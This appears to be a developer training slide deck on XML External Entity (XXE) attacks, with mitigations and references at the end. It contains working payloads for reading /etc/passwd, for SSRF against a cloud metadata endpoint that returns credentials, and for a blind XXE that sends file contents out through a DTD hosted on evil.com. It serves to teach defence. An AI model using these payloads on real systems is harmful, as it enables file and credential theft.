Dev Training

# Dev Training
### XML External Entities (XXE)

## Overview

### About

* At some point XML became popular for data serialization for web servers
* XML does a lot more than serialize data
* XML can
    * Read local files
    * Cause FTP/HTTP requests to be performed

## Exploits

### Endpoint

```python
xml = parse_xml(request.data)
prod_id = xml['stockCheck']['productId']

try:
    return get_stock(prod_id)
except InvalidId:
    return f"Unknown ID: {prod_id}"
```

```http
POST /stockcheck HTTP/1.1
Host: www.example.com
Content-Type: application/xml
Content-Length: 42

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
```

### Local file inclusion

```http
POST /stockcheck HTTP/1.1
Host: www.example.com
Content-Type: application/xml
Content-Length: 42

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

```text
Unknown ID: root:x:0:0::/root:/bin/bash
bin:x:1:1::/:/sbin/nologin
daemon:x:2:2::/:/sbin/nologin
mail:x:8:12::/var/spool/mail:/sbin/nologin
ftp:x:14:11::/srv/ftp:/sbin/nologin
```

### SSRF

```http
POST /stockcheck HTTP/1.1
Host: www.example.com
Content-Type: application/xml
Content-Length: 42

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM
    "http://169.254.169.254/latest/meta-data/iam/..."> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

```text
Unknown ID: {
  "Code" : "Success",
  "AccessKeyId" : "ASIA5A6IYGGDLBWIFH5UQ",
  "SecretAccessKey" : "sMX7//Ni2tu2hJua/...",
  "Token" : "AgoJb3JpZ2luX2VjEH0aCXVzLW..."
  ...
}
```

## Blind XXE

### What is it?

* Included value is not reflected in response
* Data can be exfiltrated out-of-band

### Example

Hosted on `http://evil.com/malicious.dtd`

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate
    SYSTEM 'http://evil.com/?x=%file;'>">
%eval;
%exfiltrate;
```

Payload

```
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://evil.com/malicious.dtd"> %xxe;]> 
```
Note: DTD stands for Document Type Definition. A DTD defines the structure and the legal elements and attributes of an XML document. A "Valid" XML document is "Well Formed", as well as it conforms to the rules of a DTD:

### Exfiltration

Access log on `evil.com`

```text
170.42.36.162 - - [15/Feb/2021:11:17:26 +0000]
    "GET /?x=root:x:0:0::/root:/bin/bash HTTP/1.1" 200
```

## Impact

### Best case

* Limited local file inclusion
* SSRF

### Worst case

* Data exfiltration
* Sensitive data exposure
    * Access to hosting environment
    * Access to third party services
    * Account takeover
* Remote code execution

## Rules of thumb

### General

* Use JSON for data serialization
* If you must use XML
    * Use an updated XML parser
    * Disable DTD
Note: You should also disable external DTDs to prevent attackers from hosting an external DTD and referencing it in an XML document.

## Epilogue

### Further reading

* [OWASP - XXE](https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE).html)
* [PortSwigger - XXE](https://portswigger.net/web-security/xxe)

### Hall of fame

* [XXE in IE/Edge](https://www.secpod.com/blog/alert-internet-explorer-xee-xml-external-entity-zero-day-vulnerability/)
* [XXE to RCE for Android Developers](https://research.checkpoint.com/2017/parsedroid-targeting-android-development-research-community/)